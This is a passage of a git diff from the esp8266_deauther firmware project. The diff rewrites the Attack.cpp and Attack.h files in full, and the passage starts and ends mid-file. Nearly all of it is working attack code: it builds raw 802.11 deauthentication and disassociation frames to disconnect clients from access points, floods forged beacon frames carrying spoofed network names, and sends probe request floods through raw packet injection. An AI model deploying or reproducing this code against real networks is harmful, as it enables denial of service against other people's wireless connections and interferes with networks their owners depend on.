deauthPacket[0] = 0xa0; - - if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { - success = true; - deauth.packetCounter++; - } - - // send another packet, this time from the station to the accesspoint - if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast - // build deauth packet - memcpy(&deauthPacket[4], apMac, 6); - memcpy(&deauthPacket[10], stMac, 6); - memcpy(&deauthPacket[16], stMac, 6); - - // send deauth frame - deauthPacket[0] = 0xc0; - - if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { - success = true; - deauth.packetCounter++; - } - - // send disassociate frame - deauthPacket[0] = 0xa0; - - if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { - success = true; - deauth.packetCounter++; - } - } - - if (success) deauth.time = currentTime; - - return success; -} - -bool Attack::sendBeacon(uint8_t tc) { - if (settings.getBeaconChannel()) setWifiChannel(tc % 11); - mac[5] = tc; - return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); -} - -bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) { - packetSize = sizeof(beaconPacket); - - if (wpa2) { - beaconPacket[34] = 0x31; - } else { - beaconPacket[34] = 0x21; - packetSize -= 26; - } - - int ssidLen = strlen(ssid); - - if (ssidLen > 32) ssidLen = 32; - - memcpy(&beaconPacket[10], mac, 6); - memcpy(&beaconPacket[16], mac, 6); - memcpy(&beaconPacket[38], ssid, ssidLen); - - beaconPacket[82] = ch; - - // ===== - uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size - uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer - memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer - tmpPacket[37] = ssidLen; // update SSID length byte - memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer - - if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) { - beacon.time = currentTime; - beacon.packetCounter++; - delete tmpPacket; // free memory of allocated buffer - return true; - } else { - delete tmpPacket; // free memory of allocated buffer - return false; - } - // ===== -} - -bool Attack::sendProbe(uint8_t tc) { - if (settings.getBeaconChannel()) setWifiChannel(tc % 11); - mac[5] = tc; - return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); -} - -bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) { - packetSize = sizeof(probePacket); - int ssidLen = strlen(ssid); - - if (ssidLen > 32) ssidLen = 32; - - memcpy(&probePacket[10], mac, 6); - memcpy(&probePacket[26], ssid, ssidLen); - - if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) { - probe.time = currentTime; - probe.packetCounter++; - return true; - } - - return false; -} - -bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) { - // Serial.println(bytesToStr(packet, packetSize)); - - // set channel - setWifiChannel(ch); - - // sent out packet - bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; - - // try again until it's sent out - for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; - - if (sent) tmpPacketRate++; - - return sent; -} - -void Attack::enableOutput() { - output = true; - prntln(A_ENABLED_OUTPUT); -} - -void Attack::disableOutput() { - output = false; - prntln(A_DISABLED_OUTPUT); -} - -uint32_t Attack::getDeauthPkts() { - return deauthPkts; -} - -uint32_t Attack::getBeaconPkts() { - return beaconPkts; -} - -uint32_t Attack::getProbePkts() { - return probePkts; -} - -uint32_t Attack::getDeauthMaxPkts() { - return deauth.maxPkts; -} - -uint32_t Attack::getBeaconMaxPkts() { - return beacon.maxPkts; -} - -uint32_t Attack::getProbeMaxPkts() { - return probe.maxPkts; -} - -uint32_t Attack::getPacketRate() { - return packetRate; -} +#include "Attack.h" + +Attack::Attack() { + getRandomMac(mac); + + if (settings.getBeaconInterval()) { + // 1s beacon interval + beaconPacket[32] = 0xe8; + beaconPacket[33] = 0x03; + } else { + // 100ms beacon interval + beaconPacket[32] = 0x64; + beaconPacket[33] = 0x00; + } + + deauth.time = currentTime; + beacon.time = currentTime; + probe.time = currentTime; +} + +void Attack::start() { + stop(); + prntln(A_START); + attackTime = currentTime; + attackStartTime = currentTime; + accesspoints.sortAfterChannel(); + stations.sortAfterChannel(); + running = true; +} + +void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) { + Attack::beacon.active = beacon; + Attack::deauth.active = deauth || deauthAll; + Attack::deauthAll = deauthAll; + Attack::probe.active = probe; + + Attack::output = output; + Attack::timeout = timeout; + + // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && + // scan.countSelected() > 0)){ + if (beacon || probe || deauthAll || deauth) { + start(); + } else { + prntln(A_NO_MODE_ERROR); + accesspoints.sort(); + stations.sort(); + stop(); + } +} + +void Attack::stop() { + if (running) { + running = false; + deauthPkts = 0; + beaconPkts = 0; + probePkts = 0; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.maxPkts = 0; + beacon.maxPkts = 0; + probe.maxPkts = 0; + packetRate = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + prntln(A_STOP); + } +} + +bool Attack::isRunning() { + return running; +} + +void Attack::updateCounter() { + // stop when timeout is active and time is up + if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) { + prntln(A_TIMEOUT); + stop(); + return; + } + + // deauth packets per second + if (deauth.active) { + if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.count() + stations.count() * 2 - names.selected()); + else deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations()); + } else { + deauth.maxPkts = 0; + } + + // beacon packets per second + if (beacon.active) { + beacon.maxPkts = ssids.count(); + + if (!settings.getBeaconInterval()) beacon.maxPkts *= 10; + } else { + beacon.maxPkts = 0; + } + + // probe packets per second + if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID(); + else probe.maxPkts = 0; + + // random transmission power + if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21)); + else setOutputPower(20.5f); + + // reset counters + deauthPkts = deauth.packetCounter; + beaconPkts = beacon.packetCounter; + probePkts = probe.packetCounter; + packetRate = tmpPacketRate; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + tmpPacketRate = 0; +} + +void Attack::status() { + char s[120]; + + sprintf(s, str( + A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, + probe.maxPkts); + prnt(String(s)); +} + +String Attack::getStatusJSON() { + String json = String(OPEN_BRACKET); // [ + + json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(packetRate); // 0 + json += CLOSE_BRACKET; // ] + + return json; +} + +void Attack::update() { + if (!running || scan.isScanning()) return; + + apCount = accesspoints.count(); + stCount = stations.count(); + nCount = names.count(); + + // run/update all attacks + deauthUpdate(); + deauthAllUpdate(); + beaconUpdate(); + probeUpdate(); + + // each second + if (currentTime - attackTime > 1000) { + attackTime = currentTime; // update time + updateCounter(); + + if (output) status(); // status update + getRandomMac(mac); // generate new random mac + } +} + +void Attack::deauthUpdate() { + if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + if (accesspoints.getSelected(deauth.tc)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + if (stations.getSelected(deauth.tc - apCount)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) { + if (names.getSelected(deauth.tc - stCount - apCount)) { + deauth.tc += deauthName(deauth.tc - stCount - apCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::deauthAllUpdate() { + if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + tmpID = names.findID(accesspoints.getMac(deauth.tc)); + + if (tmpID < 0) { + deauth.tc += deauthAP(deauth.tc); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + tmpID = names.findID(stations.getMac(deauth.tc - apCount)); + + if (tmpID < 0) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) { + if (!names.getSelected(deauth.tc - apCount - stCount)) { + deauth.tc += deauthName(deauth.tc - apCount - stCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::probeUpdate() { + if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) { + if (probe.time <= currentTime - (1000 / probe.maxPkts)) { + if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11); + probe.tc += sendProbe(probe.tc); + + if (probe.tc >= ssids.count()) probe.tc = 0; + } + } +} + +void Attack::beaconUpdate() { + if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) { + if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { + beacon.tc += sendBeacon(beacon.tc); + + if (beacon.tc >= ssids.count()) beacon.tc = 0; + } + } +} + +bool Attack::deauthStation(int num) { + return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num)); +} + +bool Attack::deauthAP(int num) { + return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num)); +} + +bool Attack::deauthName(int num) { + if (names.isStation(num)) { + return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num)); + } else { + return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num)); + } +} + +bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) { + if (!stMac) return false; // exit when station mac is null + + // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging + + bool success = false; + + // build deauth packet + packetSize = sizeof(deauthPacket); + memcpy(&deauthPacket[4], stMac, 6); + memcpy(&deauthPacket[10], apMac, 6); + memcpy(&deauthPacket[16], apMac, 6); + deauthPacket[24] = reason; + + // send deauth frame + deauthPacket[0] = 0xc0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + deauthPacket[0] = 0xa0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send another packet, this time from the station to the accesspoint + if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast + // build deauth packet + memcpy(&deauthPacket[4], apMac, 6); + memcpy(&deauthPacket[10], stMac, 6); + memcpy(&deauthPacket[16], stMac, 6); + + // send deauth frame + deauthPacket[0] = 0xc0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + deauthPacket[0] = 0xa0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + } + + if (success) deauth.time = currentTime; + + return success; +} + +bool Attack::sendBeacon(uint8_t tc) { + if (settings.getBeaconChannel()) setWifiChannel(tc % 11); + mac[5] = tc; + return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); +} + +bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) { + packetSize = sizeof(beaconPacket); + + if (wpa2) { + beaconPacket[34] = 0x31; + } else { + beaconPacket[34] = 0x21; + packetSize -= 26; + } + + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&beaconPacket[10], mac, 6); + memcpy(&beaconPacket[16], mac, 6); + memcpy(&beaconPacket[38], ssid, ssidLen); + + beaconPacket[82] = ch; + + // ===== + uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size + uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer + memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer + tmpPacket[37] = ssidLen; // update SSID length byte + memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer + + if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) { + beacon.time = currentTime; + beacon.packetCounter++; + delete tmpPacket; // free memory of allocated buffer + return true; + } else { + delete tmpPacket; // free memory of allocated buffer + return false; + } + // ===== +} + +bool Attack::sendProbe(uint8_t tc) { + if (settings.getBeaconChannel()) setWifiChannel(tc % 11); + mac[5] = tc; + return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); +} + +bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) { + packetSize = sizeof(probePacket); + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&probePacket[10], mac, 6); + memcpy(&probePacket[26], ssid, ssidLen); + + if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) { + probe.time = currentTime; + probe.packetCounter++; + return true; + } + + return false; +} + +bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) { + // Serial.println(bytesToStr(packet, packetSize)); + + // set channel + setWifiChannel(ch); + + // sent out packet + bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + // try again until it's sent out + for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + if (sent) tmpPacketRate++; + + return sent; +} + +void Attack::enableOutput() { + output = true; + prntln(A_ENABLED_OUTPUT); +} + +void Attack::disableOutput() { + output = false; + prntln(A_DISABLED_OUTPUT); +} + +uint32_t Attack::getDeauthPkts() { + return deauthPkts; +} + +uint32_t Attack::getBeaconPkts() { + return beaconPkts; +} + +uint32_t Attack::getProbePkts() { + return probePkts; +} + +uint32_t Attack::getDeauthMaxPkts() { + return deauth.maxPkts; +} + +uint32_t Attack::getBeaconMaxPkts() { + return beacon.maxPkts; +} + +uint32_t Attack::getProbeMaxPkts() { + return probe.maxPkts; +} + +uint32_t Attack::getPacketRate() { + return packetRate; +} \ No newline at end of file diff --git a/esp8266_deauther/Attack.h b/esp8266_deauther/Attack.h index e1b61f8..4b15035 100644 --- a/esp8266_deauther/Attack.h +++ b/esp8266_deauther/Attack.h @@ -1,207 +1,207 @@ -#ifndef Attack_h -#define Attack_h - -#include "Arduino.h" -#include -extern "C" { - #include "user_interface.h" -} -#include "language.h" -#include "Accesspoints.h" -#include "Stations.h" -#include "SSIDs.h" -#include "Settings.h" -#include "Scan.h" - -extern Settings settings; -extern SSIDs ssids; -extern Accesspoints accesspoints; -extern Stations stations; -extern Scan scan; - -extern uint8_t wifi_channel; -extern uint8_t broadcast[6]; -extern uint32_t currentTime; - -extern bool macBroadcast(uint8_t* mac); -extern void getRandomMac(uint8_t* mac); -extern void setOutputPower(float dBm); -extern String macToStr(uint8_t* mac); -extern String bytesToStr(uint8_t* b, uint32_t size); -extern void setWifiChannel(uint8_t ch); -extern bool writeFile(String path, String& buf); -extern int8_t free80211_send(uint8_t* buffer, uint16_t len); - -class Attack { - public: - Attack(); - - void start(); - void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); - void stop(); - void update(); - - void enableOutput(); - void disableOutput(); - void status(); - String getStatusJSON(); - - bool deauthAP(int num); - bool deauthStation(int num); - bool deauthName(int num); - bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); - - bool sendBeacon(uint8_t tc); - bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); - - bool sendProbe(uint8_t tc); - bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); - - bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries); - - bool isRunning(); - - uint32_t getDeauthPkts(); - uint32_t getBeaconPkts(); - uint32_t getProbePkts(); - uint32_t getDeauthMaxPkts(); - uint32_t getBeaconMaxPkts(); - uint32_t getProbeMaxPkts(); - - uint32_t getPacketRate(); - - private: - void deauthUpdate(); - void deauthAllUpdate(); - void beaconUpdate(); - void probeUpdate(); - - void updateCounter(); - - bool running = false; - bool output = true; - - struct AttackType { - bool active = false; // if attack is activated - uint16_t packetCounter = 0; // how many packets are sent per second - uint16_t maxPkts = 0; // how many packets should be sent per second - uint8_t tc = 0; // target counter, i.e. which AP or SSID - uint32_t time = 0; // time last packet was sent - }; - - AttackType deauth; - AttackType beacon; - AttackType probe; - bool deauthAll = false; - - uint32_t deauthPkts = 0; - uint32_t beaconPkts = 0; - uint32_t probePkts = 0; - - uint32_t tmpPacketRate = 0; - uint32_t packetRate = 0; - - uint8_t apCount = 0; - uint8_t stCount = 0; - uint8_t nCount = 0; - - int8_t tmpID = -1; - - uint16_t packetSize = 0; - uint32_t attackTime = 0; // for counting how many packets per second - uint32_t attackStartTime = 0; - uint32_t timeout = 0; - - // random mac address for making the beacon packets - uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 }; - - uint8_t deauthPacket[26] = { - /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) - /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that) - /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) - /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) - /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) - /* 22 - 23 */ 0x00, 0x00, // fragment & squence number - /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) - }; - - uint8_t probePacket[68] = { - /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request - /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds - /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast - /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC - /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast - /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) - /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 - /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - /* 58 - 59 */ 0x01, 0x04, // Tag Number: Supported Rates (1), Tag length: 4 - /* 60 */ 0x82, // 1(B) - /* 61 */ 0x84, // 2(B) - /* 62 */ 0x8b, // 5.5(B) - /* 63 */ 0x96, // 11(B) - /* 64 */ 0x24, // 18 - /* 65 */ 0x30, // 24 - /* 66 */ 0x48, // 36 - /* 67 */ 0x6c // 54 - }; - - uint8_t beaconPacket[109] = { - /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame - /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast - /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source - /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source - - // Fixed parameters - /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) - /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp - /* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s - /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation - - // Tagged parameters - - // SSID parameters - /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 - /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, // SSID - - // Supported Rates - /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 - /* 72 */ 0x82, // 1(B) - /* 73 */ 0x84, // 2(B) - /* 74 */ 0x8b, // 5.5(B) - /* 75 */ 0x96, // 11(B) - /* 76 */ 0x24, // 18 - /* 77 */ 0x30, // 24 - /* 78 */ 0x48, // 36 - /* 79 */ 0x6c, // 54 - - // Current Channel - /* 80 - 81 */ 0x03, 0x01, // Channel set, length - /* 82 */ 0x01, // Current Channel - - // RSN information - /* 83 - 84 */ 0x30, 0x18, - /* 85 - 86 */ 0x01, 0x00, - /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, - /* 91 - 92 */ 0x02, 0x00, - /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ - /* 101 - 102 */ 0x01, 0x00, - /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, - /* 107 - 108 */ 0x00, 0x00 - }; -}; - -#endif // ifndef Attack_h +#ifndef Attack_h +#define Attack_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "Accesspoints.h" +#include "Stations.h" +#include "SSIDs.h" +#include "Settings.h" +#include "Scan.h" + +extern Settings settings; +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; + +extern uint8_t wifi_channel; +extern uint8_t broadcast[6]; +extern uint32_t currentTime; + +extern bool macBroadcast(uint8_t* mac); +extern void getRandomMac(uint8_t* mac); +extern void setOutputPower(float dBm); +extern String macToStr(uint8_t* mac); +extern String bytesToStr(uint8_t* b, uint32_t size); +extern void setWifiChannel(uint8_t ch); +extern bool writeFile(String path, String& buf); +extern int8_t free80211_send(uint8_t* buffer, uint16_t len); + +class Attack { + public: + Attack(); + + void start(); + void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); + void stop(); + void update(); + + void enableOutput(); + void disableOutput(); + void status(); + String getStatusJSON(); + + bool deauthAP(int num); + bool deauthStation(int num); + bool deauthName(int num); + bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); + + bool sendBeacon(uint8_t tc); + bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); + + bool sendProbe(uint8_t tc); + bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); + + bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries); + + bool isRunning(); + + uint32_t getDeauthPkts(); + uint32_t getBeaconPkts(); + uint32_t getProbePkts(); + uint32_t getDeauthMaxPkts(); + uint32_t getBeaconMaxPkts(); + uint32_t getProbeMaxPkts(); + + uint32_t getPacketRate(); + + private: + void deauthUpdate(); + void deauthAllUpdate(); + void beaconUpdate(); + void probeUpdate(); + + void updateCounter(); + + bool running = false; + bool output = true; + + struct AttackType { + bool active = false; // if attack is activated + uint16_t packetCounter = 0; // how many packets are sent per second + uint16_t maxPkts = 0; // how many packets should be sent per second + uint8_t tc = 0; // target counter, i.e. which AP or SSID + uint32_t time = 0; // time last packet was sent + }; + + AttackType deauth; + AttackType beacon; + AttackType probe; + bool deauthAll = false; + + uint32_t deauthPkts = 0; + uint32_t beaconPkts = 0; + uint32_t probePkts = 0; + + uint32_t tmpPacketRate = 0; + uint32_t packetRate = 0; + + uint8_t apCount = 0; + uint8_t stCount = 0; + uint8_t nCount = 0; + + int8_t tmpID = -1; + + uint16_t packetSize = 0; + uint32_t attackTime = 0; // for counting how many packets per second + uint32_t attackStartTime = 0; + uint32_t timeout = 0; + + // random mac address for making the beacon packets + uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 }; + + uint8_t deauthPacket[26] = { + /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) + /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that) + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) + /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) + /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) + /* 22 - 23 */ 0x00, 0x00, // fragment & squence number + /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) + }; + + uint8_t probePacket[68] = { + /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request + /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds + /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast + /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC + /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast + /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) + /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + /* 58 - 59 */ 0x01, 0x04, // Tag Number: Supported Rates (1), Tag length: 4 + /* 60 */ 0x82, // 1(B) + /* 61 */ 0x84, // 2(B) + /* 62 */ 0x8b, // 5.5(B) + /* 63 */ 0x96, // 11(B) + /* 64 */ 0x24, // 18 + /* 65 */ 0x30, // 24 + /* 66 */ 0x48, // 36 + /* 67 */ 0x6c // 54 + }; + + uint8_t beaconPacket[109] = { + /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast + /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + + // Fixed parameters + /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) + /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp + /* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s + /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation + + // Tagged parameters + + // SSID parameters + /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, // SSID + + // Supported Rates + /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 + /* 72 */ 0x82, // 1(B) + /* 73 */ 0x84, // 2(B) + /* 74 */ 0x8b, // 5.5(B) + /* 75 */ 0x96, // 11(B) + /* 76 */ 0x24, // 18 + /* 77 */ 0x30, // 24 + /* 78 */ 0x48, // 36 + /* 79 */ 0x6c, // 54 + + // Current Channel + /* 80 - 